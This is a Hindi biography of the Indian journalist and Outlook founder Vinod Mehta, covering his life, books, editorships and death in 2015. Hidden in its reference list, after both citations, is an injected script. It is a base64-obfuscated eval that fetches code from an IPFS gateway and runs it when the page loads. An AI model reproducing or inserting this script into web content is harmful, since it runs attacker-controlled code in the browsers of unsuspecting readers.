विनोद मेहता

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विनोद मेहता (अंग्रेज़ी: Vinod Mehta, जन्म: 1942 - मृत्यु: 8 मार्च, 2015) जाने माने पत्रकार, आउटलुक मैगजीन के संस्थापक एवं मुख्य संपादक थे। पत्रकारिता के क्षेत्र में उत्कृष्ट योगदान के लिए विनोद मेहता को प्रतिष्ठित जीके रेड्डी मेमोरियल पुरस्कार और यश भारती पुरस्कार से सम्मानित किया गया था।[1]संपादक, लेखक और टेलीविजन टिप्पणीकार की अपनी लंबी पारी के दौरान विनोद मेहता मेज पर हाज़िरजवाबी, बेबाकी और निष्पक्षता लेकर आए। इस वजह से वह देशभर और पूरी दुनिया में अपने पाठकों एवं दर्शकों, यहां तक कि दोस्तों और दुश्मनों के भी चहेते बने रहे। ऐसा प्रतिद्वंद्वी विरला ही मिलेगा जिसके पास उनके लिए दो अच्छे शब्द न हों।

जीवन परिचय

विनोद मेहता का जन्म 1942 में रावलपिंडी में हुआ था जो अब पाकिस्तान में है। उन्हें पत्रकारिता जगत में एक बोल्ड फिगर के रूप में जाना जाता था। वह न्यूज चैनलों में बतौर पैनलिस्ट बहुत बेबाकी से अपनी राय रखते थे। विनोद मेहता ने 2011 में आत्मकथा ‘लखनऊ ब्वॉय’ लिखी और वे टीवी पर चर्चा करने वालों में लोकप्रिय चेहरा थे। हाल ही में उन्होंने एक और पुस्तक ‘एडिटर अनप्लग्ड’ लिखी लेकिन दिसंबर में इसके लोकार्पण में हिस्सा नहीं ले सके। विनोद मेहता को कुत्तों से काफी प्रेम था और उन्होंने एक गली के कुत्ते को गोद भी लिया था जिसका नाम एडिटर रखा था। इस कुत्ते का जिक्र आउटलुक में उनके लेख में अक्सर आता था। विनोद मेहता प्रतिष्ठित संपादक थे जिन्होंने सफलतापूर्वक ‘संडे ऑब्जर्वर, ‘इंडियन पोस्ट’, ‘द इंडिपेंडेंट’, द पायनियर (दिल्ली संस्करण) और फिर आउटलुक की शुरुआत की। मेहता तीन वर्ष के थे जब भारत विभाजन के बाद वह अपने परिवार के साथ भारत आए। उनका परिवार लखनऊ में बस गया जहां से उन्होंने स्कूली शिक्षा और फिर बीए की डिग्री हासिल की। बीए डिग्री के साथ उन्होंने घर छोड़ा और एक फैक्टरी में काम करने से लेकर कई नौकरियां की। साल 1974 में उन्हें डेबोनियर का संपादन करने का मौका मिला। कई वर्ष बाद वह दिल्ली चले आए जहां उन्होंने ‘द पायनियर’ अखबार के दिल्ली संस्करण पेश किया। उन्होंने सुमिता पाल से विवाह किया जिन्होंने पत्रकार के रूप में पायनियर में काम किया। इस दम्पति को कोई संतान नहीं है। अपनी पुस्तक ‘लखनऊ ब्यॉय’ में विनोद मेहता ने लिखा है कि उनके अपने जवानी के दिनों के प्रेम संबंध से एक बेटी है। उन्होंने बताया था कि अपनी आत्मकथा में जब तक उन्होंने यह बात नहीं लिखी थी तब तक उनकी बेटी के बारे में सिर्फ उनकी पत्नी को जानकारी थी। विनोद मेहता ने बताया था कि उन्होंने अपनी पत्नी को इस बारे में बताया और उसने मुझे किताब में इसका जिक्र करने के लिए प्रोत्साहित किया। विनोद मेहता ने मीना कुमारी और संजय गांधी की जीवनी लिखी और 2001 में उनके लेखों का संकलन ‘मिस्टर एडिटर : हाउ क्लोज आर यू टू द पीएम’ प्रकाशित हुआ।[1]

आउटलुक के संस्थापक

आउटलुक के संस्थापक प्रधान संपादक के तौर पर विनोद मेहता ने भारतीय मैगजीन पत्रकारिता में रुख की ताजगी, मन का खुलापन और स्पर्श की सहजता भरकर उसे फिर ऊर्जावान कर दिया। ये बातें अब भी भारत के प्रमुख अंग्रेजी समाचार साप्ताहिक आउटलुक और उसकी सहयोगी पत्रिकाओं आउटलुक हिंदी, आउटलुक बिजनेस, आउटलुक मनी और आउटलुक ट्रेवलर को दिशा दे रहे हैं। खुल्लम-खुल्ला कट्टर क्रिकेटप्रेमी और भोजनभट्ट विनोद मेहता सुरुचिपूर्ण गपशप के चुंबक थे। अपनी गपशप वह आउटलुक के अंतिम पृष्ठ पर अपनी बहुपठित डायरियों के जरिये बड़ी दक्षता से पूरी व्यवस्था में खोलकर फैला देते थे। अतिशयोक्ति और भारी-भरकम शब्दों से विनोद मेहता को नफरत थी। महत्वपूर्ण को दिलचस्प बनाना उनकी पत्रिका का सिद्घांत था।[2]

निधन

लम्बी बीमारी के कारण 8 मार्च, 2015 को इनका निधन हो गया। वे 73 वर्ष के थे। मेहता आउटलुक पत्रिका के संपादकीय अध्यक्ष थे जिसकी उन्होंने शुरुआत की थी। वह कई महीने से बीमार थे और एम्स में भर्ती थे। वह फेफडे के संक्रमण से पीड़ित थे और जीवन रक्षक यंत्र पर थे। प्रधानमंत्री नरेन्द्र मोदी ने विनोद मेहता के निधन पर शोक प्रकट किया। नरेन्द्र मोदी ने सोशल नेटवर्क वेबसाइट ट्विटर पर ट्वीट किया, ‘‘अपने विचार में स्पष्ट और बेबाक विनोद मेहता को एक शानदार पत्रकार और लेखक के रूप में जाना जायेगा। उनके निधन पर उनके परिवार के प्रति संवेदना प्रकट करता हूं।’’[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 वरिष्ठ पत्रकार विनोद मेहता का निधन (हिन्दी) बीबीसी। अभिगमन तिथि: 8 मार्च, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> सन्दर्भ त्रुटि: <ref> अमान्य टैग है; "जनसत्ता" नाम कई बार विभिन्न सामग्रियों में परिभाषित हो चुका है
  2. आउटलुक समूह के संस्थापक संपादक विनोद मेहता नहीं रहे (हिन्दी) आउटलुक। अभिगमन तिथि: 8 मार्च, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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